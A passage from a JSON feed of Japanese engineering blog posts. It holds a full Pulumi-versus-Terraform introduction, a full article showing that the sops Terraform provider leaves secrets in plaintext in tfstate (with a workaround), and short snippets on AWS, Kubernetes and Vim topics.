前提語らないことモチベーションPulumiとは対応言語PulumiのアーキテクチャPulumiのコンポーネントPulumi CloudPulumi Cloud 料金Pulumi操作方法PulumiインストールPulumi CloudへログインProjectの作成変更を確認Stackデプロイリソース削除state操作Terraformからの移行TerraformとPulumiを共存する(tfstateを参照)tfstateからインポートterraformからコード変換まとめ前提筆者は以下の背景を持っています。普段はAWSをメインに触っている普段はTerraformをメインで使ってるPulumiはプロダクションでは使ったことがないちゃんとは把握できてない語らないこと以下のようなPulumi以外の基本的なことは語りませんIaCとは概要、特徴、メリット・デメリットTerraformとは概要、特徴、メリット・デメリット、操作方法モチベーションなんでPulumiを今回調べようかと思った動機について書こうと思います。Terraformの記述力に限界を感じていたというところが大きいです。以下の点がつらいかなと思っていたところです。足りない関数二重ループのためのModule使用分岐処理のためのcountと三項演算子とはいえ、記述力が低いからこそ複雑なことを抑制できて可読性が上がっている面もあると思います。冗長でも、可読性が高いというのはメリットではあります。他の選択肢としては以下のものがあるかと思います。CDKAWSに限定されるCDKTF(CDK for Terraform)結局terraformのJSONコードに変換されるので、terraformに依存しますそれ自体は悪くないが、どうせならTerraformから離れたものを学びたいそこでなにか良いものがないかと思い当たったところにPulumiがあったので調べてみようとなりました。PulumiとはPulumiはプログラミング言語でインフラを構築可能なプロビジョニングツールです。Terraformと同じようにProviderを通して複数のクラウドに対応しています。TerraformはHCLという宣言的言語を使用するのに対し、Pulumiは汎用的なプログラミング言語を使用してインフラリソースを定義します。Pulumi - Infrastructure as Code in Any Programming Language対応言語TypeScript & JavaScript (Node.js)PythonGoC#, VB, F# (.NET)JavaPulumi YAML参考: Pulumi Languages & SDKs | Pulumi DocsPulumiのアーキテクチャ以下のようの構成になっています。参考: How Pulumi Works | Pulumi DocsLanguage hostインフラリソースの定義を Program (後述)として好きな言語で定義します。Deployment Engine希望する状態に変更するための操作セットを実行する役割を果たします。Resource Providerクラウドサービスとの通信を処理して、Programで定義したリソースの変更処理を行います。上記の例だと、Programにリソースの定義がある場合、Stateと比較して、管理されているリソースであるかを確認します。存在すれば、プロバイダーを通して実際のクラウドのリソースの状態と比較して差分があれば適用。存在しない場合、プロバイダーを通してリソースを作成。PulumiのコンポーネントWhat is Pulumi? | Pulumi DocsPulumiのコンポーネントは以下のようになっています。ProjectProgramのソースコードとメタデータ(Programの実行方法)を格納したディレクトリProgramインフラのあるべき姿を定義したものResourceインフラを構成するオブジェクト。ResourceのプロバティはOutputとして他のResourceのInputに使用することができますStackProgramを実行すると作成されるインスタンス。同一のProgramから開発、ステージング、本番環境のStackを個別に作成することができます。Pulumi CloudTerraform Cloudのようなものと考えていただいて良いです。デプロイの状態、履歴やシークレットを管理して、CI/CDやGitHubと連携してデプロイを実行することもできます。Pulumi CLIはバックエンドを明示的に指定しない限りはでデフォルトでPulumi Cloudを使用します。Terraformはデフォルトでlocalバックエンドを使用します。以下はPulumi Cloudの画面です。Pulumi Cloud 料金個人で使う限りは無料で使用することができます。※2023/12/18現在Pulumi操作方法ここからPulumiの操作方法を見て行きたいと思いますPulumiインストール個人的にはバージョン管理したいのでasdfでインストールします。brewでもインストールできます。# .tool-versionspulumi 3.97.0 asdf installPulumi CloudへログインデフォルトではPulumi Cloudへログインします。以下のコマンドを実行するとブラウザが起動するので、ログイン処理をします。pulumi loginPulumi Cloudを使わず、ローカルにstateを保存したい場合は以下のとおりです。pulumi logoutpulumi loign --localProjectの作成pulumi new コマンドで新しいProjectを作成できます。同時にStackも作成されます。引数にテンプレートを指定できます。ウィザード形式で設定をすることができます。以下の例は awsプロバイダーを使用して、言語はTypeScriptを使用するテンプレートとなります。ディレクトリ内にはPulumi実行に必要な各種ファイルが生成されます。ここで見るべきは以下の3ファイルです。Pulumi.yamlプロジェクト設定Pulumi.dev.yamlStack(dev)設定index.tsリソース定義# Pulumi.yamlname: sampleruntime: nodejsdescription: A minimal AWS TypeScript Pulumi program# Pulumi.dev.yamlconfig:aws:region: us-east-1// index.tsimport * as pulumi from \\"@pulumi/pulumi\\";import * as aws from \\"@pulumi/aws\\";import * as awsx from \\"@pulumi/awsx\\";// Create an AWS resource (S3 Bucket)const bucket = new aws.s3.Bucket(\\"my-bucket\\");// Export the name of the bucketexport const bucketName = bucket.id;変更を確認plumi preview コマンドでStackの変更差分を確認できます。 terraform plan を似ていますが、こちらは差分の詳細は表示されません。Stackデプロイpulumi up コマンドでStackをデプロイできます。 terraform plan と terraform apply を組み合わせた挙動になります。実行すると選択肢が出ます。details を選択すると変更差分の詳細が表示されます。yesを選択すると、変更が適用されます。リソース削除pulumi destroy でStackを削除できます。pulumi up と同じようにdetailsで詳細表示、 yes で削除実行ができますstate操作PulumiではStackごとにStateが保存されています。Stateを操作するコマンドは以下のとおりです。state出力(terraform state pull 相当 )pulumi stack exportstate インポート(terraform import相当)pululmi import state 削除(terraform state rm 相当)pulumi state delete Terraformからの移行Terraformからの移行オプションは以下の通りとなります。terraformとPulumiを共存するPulumiからtfstateを参照するtfstateからリソースをPulumiへインポートするTerraformのコードをPulumiのコードに変換する参考: Adopting Pulumi | Pulumi Docs参考: Migrating from Terraform | Pulumi DocsTerraformとPulumiを共存する(tfstateを参照)networkリソースに関しては既存のterraformを使いつつ、そのoutputをPulumiで使うイメージになります。以下のようなコードでlocalのtfstateが参照できるので、値を参照して利用することができます。import * as aws from \\"@pulumi/aws\\";import * as terraform from \\"@pulumi/terraform\\";// Reference the Terraform state file:const networkState = new terraform.state.RemoteStateReference(\\"network\\", { backendType: \\"local\\", path: \\"/path/to/terraform.tfstate\\",});// Read the VPC and subnet IDs into variables:const vpcId = networkState.getOutput(\\"vpc_id\\");const publicSubnetIds = networkState.getOutput(\\"public_subnet_ids\\");// Now spin up servers in the first two subnets:for (let i = 0; i < 2; i++) { new aws.ec2.Instance(`instance-${i}`, { ami: \\"ami-7172b611\\", instanceType: \\"t2.medium\\", subnetId: publicSubnetIds[i], });}tfstateからインポートpulumi import --from terraform ./terraform.tfstate のようにすることによってtfstateからリソースをインポートすることができます。terraformからコード変換pulumi convert --from terraform コマンドを使用することで、既存のTerraformのコードをPulumiのコードに変換することができます。ただし、変換できないコードはTODOコメントが付く。90%~95%は変換が対応しているとのこと。pulumi convert --from terraform --language typescriptまとめPulumiの概要と基本操作をTerraformと対比しながら説明してきました。新規プロジェクトである程度複雑な処理をしたい。プログラミング言語に精通している人がメンバーにいる。そういった場合にはPulumiは良さそうに思えます。しかしながら、ある程度Terraformで出来上がっているプロジェクトをPulumiに移行するのはそれなりに大変なので、プロジェクトの規模感とコストに見合うかを考えて導入するか考えると良いでしょう。また、複雑なことをしたいというのは、本当に必要とされていることなのでしょうか?冗長でも簡易的な書き方をした方が望ましい場合もあるかと思います。そのあたりの目利きをちゃんと考えたいところです。自分自身まだまだ使いこなせていないですし、追いきれてないPulumiのトピックもあるので、今後も選択肢の一つとして調べていきたいところです。","link":"https://blog.masasuzu.net/entry/2023/12/16/000000","isoDate":"2023-12-15T15:00:00.000Z","dateMiliSeconds":1702652400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"sbt-github-acitons を使った CI の構築とプロジェクトの publish について","contentSnippet":"この記事は Scala Advent Calendar 2023 15日目 の記事です。 導入Scala プロジェクトを GitHub で開発する際には GitHub Actions を使用して CI を構築することが多いと思います。また、ライブラリの開発の場合は Maven Central に publish することも考えたいです。しかし、プロジェクトそれぞれに対応した GitHub Actions を構築するのは専門知識も必要で手間のかかる作業です。今回は sbt-github-actions という sbt プラグインを使用して、Scala プロジェクトの CI と ...","link":"https://zenn.dev/nomadblacky/articles/4c6a03aa5289c4","isoDate":"2023-12-15T03:00:00.000Z","dateMiliSeconds":1702609200000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"VPC エンドポイントポリシーで S3 バケットを制限する際の落とし穴","contentSnippet":"状況設定AWS の VPC エンドポイントポリシーで VPC 内部から Amazon S3 バケットへのアクセスを制限するために,以下のようなエンドポイントポリシーを設定するとします。s3-vpc-endpoint-policy.json{ \\"Version\\": \\"2012-10-17\\", \\"Statement\\": [ { \\"Effect\\": \\"Allow\\", \\"Principal\\": \\"*\\", \\"Action\\": \\"s3:*\\", \\"Resource...","link":"https://zenn.dev/toshikish/articles/e846fa0c3de10f","isoDate":"2023-12-14T22:00:00.000Z","dateMiliSeconds":1702591200000,"authorName":"toshikish","authorId":"toshikish"},{"title":"拝啓、CSSでドット絵を描きたくなったあの日(数週間前)の自分へ","contentSnippet":"※ 3-shake Advent Calendar 2023の15日目のエントリー記事です。※ 12/21追記: CSS Advent Calendar 2023の21日目のエントリー記事として追加しました。投稿期間とズレてしまっていますが、CSSアドベントカレンダー盛り上がりの一助になればと思います。今年は数年離れていたデータエンジニアを再スタートし、データ基盤構築やGoogleCloudのProfessional試験を受けて合格したり…とテッキーな事に触れることが多い年でした。最近はDBやSRE領域に触れる機会もあり、自分の知識不足に凹みながらも「今は学ぶ時期だ」と1つずつ知識...","link":"https://zenn.dev/nedoko_dok0dko/articles/c00b941f10501f","isoDate":"2023-12-14T15:31:58.000Z","dateMiliSeconds":1702567918000,"authorName":"seno","authorId":"seno"},{"title":"Karpenter を Amazon EKS で使う","contentSnippet":"はじめに Kubernetes のノードのオートスケーラーである Karpenter は,Amazon EKS クラスタでの利用を中心に普及しつつあります。 Karpenter を調べてみた・使ってみた系記事はたくさんあ […]The post Karpenter を Amazon EKS で使う first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/karpenter-with-amazon-eks/","isoDate":"2023-12-14T05:17:05.000Z","dateMiliSeconds":1702531025000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Partner Top Engineer 2024 になりました","contentSnippet":"はじめに 今回、ありがたいことに、 Google Cloud Partner Top Engineer 2024(以降PTE)になりましたのでその軌跡をまとめます。 コチラの資料によって PTE になりたい人が増えてくれ […]The post Google Cloud Partner Top Engineer 2024 になりました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/earn-google-cloud-partner-top-engineer-2024/","isoDate":"2023-12-14T05:15:38.000Z","dateMiliSeconds":1702530938000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS Fault Injection Service で EKS の障害テストを行う","contentSnippet":"この記事は 3-shake Advent Calendar 2023 14 日目の記事です! この記事に書いてあることこの記事では、AWS Fault Injection Service をつかって、EKS 上の Pod の障害テストを行う方法を説明します。この記事を書こうと思ったモチベーションとして、EKS 上のアプリケーションで障害テストをするために AWS Fault Injection Service (以降、「FIS」と記載します) を使用しようとしたところ、導入手順がいまいち分からなかったため、残しておこうと思ったためです。EC2 に障害を注入する場合は導入手順はシ...","link":"https://zenn.dev/kyohei_saito/articles/6d1bcc1fe8610e","isoDate":"2023-12-13T22:22:00.000Z","dateMiliSeconds":1702506120000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"SREがGoogle Cloud検証環境をCloud Nativeな視点で、 頑張りすぎずでも良い感じに整えた話","contentSnippet":"Jagu\'e\'r - CloudNative分科会 2023/12/13の登壇内容です。","link":"https://speakerdeck.com/parupappa2929/sregagooglecloudjian-zheng-huan-jing-wocloudnativenashi-dian-de-wan-zhang-risugizudemoliang-igan-zinizheng-etahua","isoDate":"2023-12-13T05:00:00.000Z","dateMiliSeconds":1702443600000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"[Kubernetes 1.27] Pod 停止時のフェーズ遷移の変更","contentSnippet":"Kubernetes 1.27 で KEP-3329: Retriable and non-retriable Pod failures for Jobs の一部として実装された [k/k#115331]: Give terminal phase correctly to all pods that will not be restarted により、Pod 停止時のフェーズが Running から Succeeded か Failed に遷移するようになりました。しかし、この変更が以下の予期せぬ問題を引き起こすことになります。[k/k#117018]: daemonset stuc...","link":"https://zenn.dev/toversus/articles/88ce2ea66b532d","isoDate":"2023-12-13T00:43:43.000Z","dateMiliSeconds":1702428223000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"GitHub Actions で multi-platform container image を build して ECR に push する","contentSnippet":"AWS の EKS や ECS では x86_64 も Graviton の arm64 も選択可能です、どちらでも使うかもしれない Container image は multi-platform…","link":"https://qiita.com/yteraoka/items/e1f89d28da4ba5078660","isoDate":"2023-12-12T22:01:45.000Z","dateMiliSeconds":1702418505000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"telescope.nvimによるjumplistをちょっと便利にするテク","contentSnippet":"Vimアドベントカレンダー12/10の記事です。Omochiceさんによる「使っているvimプラグインの棚卸し(2023冬)」KaitoMuraokaさんによる「初心者向けに何か」(2023/12/23 9:54時点で未投稿)TelescopeはNeovimにおけるFuzzy Finderのデファクトの座を勝ち取っていると思います。便利な一方、痒いところに手を出すと途端に難解でundocumentedなAPIに手を出す羽目になります……。","link":"https://blog.atusy.net/2023/12/12/telescope-jump-list/","isoDate":"2023-12-12T00:00:00.000Z","dateMiliSeconds":1702339200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Helmfile でちょっとしたリソースを追加したい","contentSnippet":"動機Helmfile で公式のチャートをインストールしていて,追加で関連リソースを追加したいことがあります。関連リソースの数が多い,内容が環境によって変わるなどの場合は,カスタムチャートを追加することになるでしょう。ただ,そこまで複雑ではない,関連リソースが数個レベルの場合,カスタムチャートだと大げさに感じることがあります。そこでどうすべきか迷っていたところ,同僚の toVersus さんに別の方法を教えていただきました。 extraTemplates 系の変数を使うHelm チャートによっては extraTemplates や extraObjects といった変数が...","link":"https://zenn.dev/toshikish/articles/5ead548816e618","isoDate":"2023-12-11T10:57:21.000Z","dateMiliSeconds":1702292241000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Amazon S3 バケットの terraform destroy に注意","contentSnippet":"TL;DRAmazon S3 バケットを削除する前には,必ずすべてのオブジェクトを削除しよう。aws_s3_bucket リソースの force_destroy 引数 を true にしてもよい。terraform destroy で削除すると,パブリックアクセスできる旨のアラートが出る場合があるので注意しよう。aws_s3_bucket_public_access_block リソースを terraform state rm するとアラートが出ない。マネジメントコンソールから削除してもアラートは出ない。 S3 バケットの terraform dest...","link":"https://zenn.dev/toshikish/articles/190fe076cc63f4","isoDate":"2023-12-11T09:03:06.000Z","dateMiliSeconds":1702285386000,"authorName":"toshikish","authorId":"toshikish"},{"title":"sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメント","contentSnippet":"この記事はこのエントリー以下のアドベントカレンダーの11日目の記事です。3-shake Advent Calendar 2023昨日はtoyb0xによるTODOコメントをチケット管理するためのESLint Custom Ruleでした。PostgreSQL Advent Calendar 2023昨日は@ozozatyによるPostgreSQLのjsonb型でJSONパス式(JSONPath)を使うでした。 はじめにPostgreSQLではDDLはその性質からテーブルレベルでロックを取得してしまいます。SREやPlatform EngineeringなどDev...","link":"https://zenn.dev/nnaka2992/articles/blue_grean_on_postgres_with_sqldeff_and_pgroll","isoDate":"2023-12-10T23:30:00.000Z","dateMiliSeconds":1702251000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLab CIでKICSを実行する","contentSnippet":"やることTerraformの静的解析を行うKICSの結果をgitlab-commentでMRに出力するhttps://github.com/yuyaban/gitlab-commentKICSの結果を基にMRにReviewdogで指摘するhttps://github.com/reviewdog/reviewdog KICSの実行$ kics scan --config kics.yamlkics.yamlpath: \\".\\" # 解析するTerraformの場所output-path: \\".\\" # 結果の出力先report-formats:...","link":"https://zenn.dev/tayusa/articles/d28865c5ce49c6","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Golangでk8s Deploymentを再起動させる","contentSnippet":"やることclient-goを使って複数のDeploymentを同時に再起動させる Golang Deploymentの取得Pod内であればrest.InClusterConfig()でPodのServiceAccountを使用するconfigを取得できるclientset.AppsV1().Deployments(namespace).Get(ctx, deploymentName, metav1.GetOptions{}) でDeploymentを取得NamespaceとDeploymentの名前が必要k8s.gopackage maini...","link":"https://zenn.dev/tayusa/articles/a7df40b7d6fd5b","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"denops製VimプラグインでDenoのバージョンとキャッシュ位置を固定する","contentSnippet":"Vimアドベントカレンダー12/10の記事です。nil2さんによる「Vimのデフォルトキーマップをどのように上書きするか(ノーマルモード)」atusyによる「VimでgfしたらURLをブラウザで開く」さて本題。denops.vimというプラグイン開発エコシステムがあります。denops.vim は JavaScript/TypeScript のランタイムである Deno を利用して Vim/Neovim 双方で動作するプラグインを作るためのエコシステムです。https://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9","link":"https://blog.atusy.net/2023/12/10/denops-cache/","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TypeScript で LangChain の最初の一歩","contentSnippet":"このエントリーは 3-shake Advent Calendar 2023 の10日目の記事です。今年は Python をガッツリ触ったり、 LLM などの方面に手を出してきており、新しいことにまみれております。その中で LLM のシステム作るんだったら Python だろ?っていう中で TypeScript でもちゃんとできるよーっていうことで紹介していきたいと思います。 私が、あんまり Python でアプリ作っていくのが好きじゃないのもありますもちろん、 Python よりも TypeScript のほうが機能が少なめではありますので、そのあたりは、目をつぶっております。今...","link":"https://zenn.dev/satohjohn/articles/9415f85be332e6","isoDate":"2023-12-09T15:00:00.000Z","dateMiliSeconds":1702134000000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Mastering Bitcoin Third Editionの紹介","contentSnippet":"https://cryptocurrency.connpass.com/event/303416/\\r2023年12月9日(土)ビットコインとか忘年会のLTで、同年11月に出版されたMastering Bitcoin Third Editionの紹介をしました。","link":"https://speakerdeck.com/shukob/mastering-bitcoin-third-editionnoshao-jie","isoDate":"2023-12-09T05:00:00.000Z","dateMiliSeconds":1702098000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"VimでgfしたらURLをブラウザで開く","contentSnippet":"Vimアドベントカレンダー12/9の記事です。NI57721さんによる「長文丸暗記用のVimプラグインを作った話」yasunori0418さんによる「ヘルプから始めるddu」gfはいいぞgfコマンド、便利ですよね。gfと入力すると、そのファイルをバッファに開いてくれます。","link":"https://blog.atusy.net/2023/12/09/gf-open-url/","isoDate":"2023-12-09T00:00:00.000Z","dateMiliSeconds":1702080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"今よりちょっとだけ上手く文章を書くコツ","contentSnippet":"この記事は、3-shake Advent Calendar 2023 9日目のエントリ記事です。技術的な話ではありませんはじめに国語がとても苦手だった私は、社会人になったときに日本語力の無さに…","link":"https://qiita.com/kojake_300/items/c5def031a252323fae1c","isoDate":"2023-12-08T22:01:43.000Z","dateMiliSeconds":1702072903000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Terraformのsopsプロバイダーを使用するだけで機密情報は守られるのか","contentSnippet":"qiita.comこの記事は、3-shake Advent Calendar 2023の9日目の記事となります。sops プロバイダーとは本当に安心?ドキュメントを調べる挙動を実験する結論ワークアラウンドsops プロバイダーとはcarlpett/terraform-provider-sops: A Terraform provider for reading Mozilla sops filesDocs overview | carlpett/sops | Terraform | Terraform RegistrysopsプロバイダーはMozilla sopsを使用して暗号化されたファイルから機密情報を取り出して、terraform上で使用できるようにしたものです。暗号化の鍵をAWS KMS等を使うことにより、KMSキーを使う権限を持つ人だけ機密情報にアクセスできるようにするものです。sopsで機密情報を暗号化することにより、平文で機密情報をgitレポジトリに保存することがなくなり安全ということになります。機密情報を管理したい。でも平文では保存したくない。そういう用途にこちらは使用されます。本当に安心?SOPSを使って機密情報を暗号化することによりgitレポジトリには機密情報が平文で残らない。これで安心と言われていますが、よく考えると機密情報をterraform実行時にはリソースに対して平文で与えているはずです。つまり、tfstate上は機密情報が平文で保存されています。例えば、tfstateがS3に保存されているとして、KMSキーへの権限がない人でもS3バケットにアクセスする権限があれば、平文の機密情報が見れてしまいます。あまりないと思いますが、tfstateをlocalに保存するようにしていてそれをgit管理していてらなんのために暗号化しているのか。。。。ということになります。こう考えると組織のポリシーによるが、sopsプロバイダーによる暗号化では不十分ではないかという疑問が生まれます。ドキュメントを調べるまずプロバイダードキュメントを当たってみます。Docs overview | carlpett/sops | Terraform | Terraform RegistryTo prevent plaintext secrets from being written to disk, you\xa0must\xa0use a secure remote state backend. See the\xa0official docs\xa0on\xa0Sensitive Data in State\xa0for more information.これが意味してるのはバックエンドをlocalにした場合平文で機密情報が書かれるので、安全なリモートバックエンドを利用すべきということだと思います。State: Sensitive Data | Terraform | HashiCorp Developer参照しろと言われたドキュメントの該当部分を読んでみましょう。ローカルディスクにtfstateを保存した場合は、機密情報が平文で保存されます。リモートにtfstateを保存する場合、保存時に暗号化されるかはバックエンドに依存します。基本的にリモートステートを使うことを推奨しています。例えば、Terraform Cloudを使う場合、tfstateは暗号化され、転送時もTLSで暗号化されます。S3を使う場合もSSE-S3やSSE-KMS等でサーバサイド暗号化を有効にしておくことで、保管時の暗号化がされます。バケットポリシーでHTTPSを強制することで通信時の暗号化も保証することができます。参考: 暗号化によるデータの保護 - Amazon Simple Storage Service参考: Amazon S3 のセキュリティのベストプラクティス - Amazon Simple Storage Serviceところがですね。保存時、通信時の暗号化をしても、terraform state pullすると平文でtfstateが手に入ってしまうんですよ。。。後述します。挙動を実験する以下のような設定ファイルを作ります。sopsで暗号化したdb_userとdb_passwordをパラメータストアに設定するものになります。tools-versionsterraform 1.5.5sops 3.7.3main.tfterraform { required_version = \\"~> 1.5.5\\" required_providers { aws = { source = \\"hashicorp/aws\\" version = \\"~> 5.15\\" } sops = { source = \\"carlpett/sops\\" version = \\"~> 0.7.2\\" } } backend \\"s3\\" { region = \\"ap-northeast-1\\" bucket = \\"xxxxxxxxxx\\" key = \\"test.tfstate\\" }}provider \\"sops\\" {}provider \\"aws\\" { region = \\"ap-northeast-1\\"}data \\"sops_file\\" \\"secrets\\" { source_file = \\"secrets.yaml\\"}resource \\"aws_ssm_parameter\\" \\"db_user\\" { type = \\"String\\" name = \\"/test/db_user\\" value = data.sops_file.secrets.data.db_user}resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = data.sops_file.secrets.data.db_password}暗号化前の secrets.yamldb_user: userdb_password: passwordapply結果がこちらとなります。terraform apply% export SOPS_KMS_ARN=arn:aws:kms:ap-northeast-1:xxxxxxxxx:key/yyyyyyyyyyyyyyyyyy% terraform applydata.sops_file.secrets: Reading...data.sops_file.secrets: Read complete after 1s [id=-]Terraform used the selected providers to generate the following execution plan. Resource actions areindicated with the following symbols: + createTerraform will perform the following actions: # aws_ssm_parameter.db_password will be created + resource \\"aws_ssm_parameter\\" \\"db_password\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_password\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"SecureString\\" + value = (sensitive value) + version = (known after apply) } # aws_ssm_parameter.db_user will be created + resource \\"aws_ssm_parameter\\" \\"db_user\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_user\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"String\\" + value = (sensitive value) + version = (known after apply) }Plan: 2 to add, 0 to change, 0 to destroy.Do you want to perform these actions? Terraform will perform the actions described above. Only \'yes\' will be accepted to approve. Enter a value: yesaws_ssm_parameter.db_password: Creating...aws_ssm_parameter.db_user: Creating...aws_ssm_parameter.db_user: Creation complete after 0s [id=/test/db_user]aws_ssm_parameter.db_password: Creation complete after 0s [id=/test/db_password]Apply complete! Resources: 2 added, 0 changed, 0 destroyed.terraform apply 8.91s user 0.78s system 124% cpu 7.811 totalstate showするとパラメータストアなのでsensitive扱いになっていて、見れません。これはいけるか?terraform state show% terraform state show aws_ssm_parameter.db_password# aws_ssm_parameter.db_password:resource \\"aws_ssm_parameter\\" \\"db_password\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\" data_type = \\"text\\" id = \\"/test/db_password\\" key_id = \\"alias/aws/ssm\\" name = \\"/test/db_password\\" tags_all = {} tier = \\"Standard\\" type = \\"SecureString\\" value = (sensitive value) version = 1}% terraform state show aws_ssm_parameter.db_user # aws_ssm_parameter.db_user:resource \\"aws_ssm_parameter\\" \\"db_user\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_user\\" data_type = \\"text\\" id = \\"/test/db_user\\" name = \\"/test/db_user\\" tags_all = {} tier = \\"Standard\\" type = \\"String\\" value = (sensitive value) version = 1}ここで、terraform state pullをしてみて、tfstateファイルをローカルにダウンロードします。そのtfstateファイルの中の該当部分はこちらとなります。 { \\"mode\\": \\"managed\\", \\"type\\": \\"aws_ssm_parameter\\", \\"name\\": \\"db_password\\", \\"provider\\": \\"provider[\\\\\\"registry.terraform.io/hashicorp/aws\\\\\\"]\\", \\"instances\\": [ { \\"schema_version\\": 0, \\"attributes\\": { \\"allowed_pattern\\": \\"\\", \\"arn\\": \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\", \\"data_type\\": \\"text\\", \\"description\\": \\"\\", \\"id\\": \\"/test/db_password\\", \\"insecure_value\\": null, \\"key_id\\": \\"alias/aws/ssm\\", \\"name\\": \\"/test/db_password\\", \\"overwrite\\": null, \\"tags\\": null, \\"tags_all\\": {}, \\"tier\\": \\"Standard\\", \\"type\\": \\"SecureString\\", \\"value\\": \\"password\\", \\"version\\": 1 }, \\"sensitive_attributes\\": [ [ { \\"type\\": \\"get_attr\\", \\"value\\": \\"value\\" } ] ], \\"private\\": \\"bnVsbA==\\", \\"dependencies\\": [ \\"data.sops_file.secrets\\" ] } ] },tfstateファイルの中身をよく確認するとしっかり平文で見えています。残念。\\"value\\": \\"password\\",結論sopsプロバイダーを使用することによりgitレポジトリ上に機密情報を平文で保存することはなくなります。しかしながら、tfstateのデータ上では設定値が平文で保存されることを防ぐことはできません。terraform state pullする権限があれば、機密情報が見れてしまいます。運用組織のポリシーで、tfstateへのアクセス権限を適切に権限管理することができるのであれば、選択肢としては取りうります。暗号化のためのKMSキー、tfstateを保存するS3バケットを機密情報をアクセス可能な人のみ権限を与えることが徹底できればよいです。しかしながら、機密情報をいかなる場合でもローカルに平文で保存することが許容されない組織であれば、機密情報は手動で設定することを選択したほうが望ましいと思います。どうしても機密情報をterraformで管理したのであれば、クライアントサイドで暗号化した機密情報をterraformで管理し、アプリ等で使用時にクライアントサイドで復号を行う形も考えられます。安全かどうかは、tfstateの保存場所、tfstateへのアクセス権限、暗号化鍵のアクセス権限それぞれが適切に設定されているかどうかが鍵となります。他に何かうまい方法で機密情報を管理しているという方がいらっしゃれば、ご意見ください。ワークアラウンドこれは自分がよく使う手段となります。リソースの箱だけ作って、作成時にダミーの値を入れておき、実際の値は手動で設定するという手法です。ignore_changesを入れておくことで、手動で値を変更しても、terraform的には差分ができないようにしています。これにより、機密情報をterraformの外に追い出しつつも、機密情報を入れるリソース自体は監理するということが実現できます。resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = \\"Dummy\\" lifecycle { ignore_changes = [value] }}","link":"https://blog.masasuzu.net/entry/2023/12/09/014230","isoDate":"2023-12-08T16:42:30.000Z","dateMiliSeconds":1702053750000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"はんだ付けから始めるEmbedded Rust on Espressif(3)","contentSnippet":"prometheusで値を取得する前回まででESP32をWifiに接続してDHT11から温湿度を返す簡単なAPIサーバが作成できました。JSONを返すのを変更してprometheusでmetricsを取得できるように変更してみます。HTTPのハンドラ部分のURLを/からmetricsにしてpromethuesの書式を返すように変更しました。 let mut server = EspHttpServer::new(&Configuration::default())?; server.fn_handler(\\"/metrics\\", Method::Get, ...","link":"https://zenn.dev/satoken/articles/rust-on-esp3","isoDate":"2023-12-07T16:40:18.000Z","dateMiliSeconds":1701967218000,"authorName":"satoken","authorId":"satoken"},{"title":"はんだ付けから始めるEmbedded Rust on Espressif(2)","contentSnippet":"温湿度の取得前回まではLEDを光らせてきました。光り物はもう十分なので他のことをやります。これは温湿度が取得できるDHT11センサーです。これを利用して温湿度を取得してみます。https://akizukidenshi.com/catalog/g/gM-07003/以下のように回路を組みます。ちょうど同じことをやっている方がいるので新しくプロジェクトを作成してそのままコードをコピペします。https://www.youtube.com/watch?v=5qYswqbZUDshttps://github.com/shanemmattner/ESP32-C3_Rus...","link":"https://zenn.dev/satoken/articles/rust-on-esp2","isoDate":"2023-12-06T15:45:17.000Z","dateMiliSeconds":1701877517000,"authorName":"satoken","authorId":"satoken"},{"title":"エンプラ企業におけるK8s DrivenなCloudNative Journeyを思う年の瀬","contentSnippet":"このエントリーは 以下のアドベントカレンダーの記事です3-shake Advent Calendar 2023 :7日目Kubernetes Advent Calendar 2023 : 8日目 背景現在、エンプラ企業のお客さんに対してSREとしてCloudNativeな技術やk8sを使用して支援を行なっているがその中でkubernetesそもそもの利用について少し考える機会があった。k8sにおける技術的・組織的課題はどの組織においてもあるが、ステークホルダーが多岐にわたるエンプラ企業ではその課題はさらに多くなり、また解決も難しくなる。課題に対して深く長く向き合うほ...","link":"https://zenn.dev/yokoo_an209/articles/4ce4ce0d795239","isoDate":"2023-12-06T11:01:49.000Z","dateMiliSeconds":1701860509000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"AlloyDB omni on Kubernetesを眺める","contentSnippet":"このエントリーは以下のアドベントカレンダーの6日目の記事です。3-shake Advent Calendar 2023 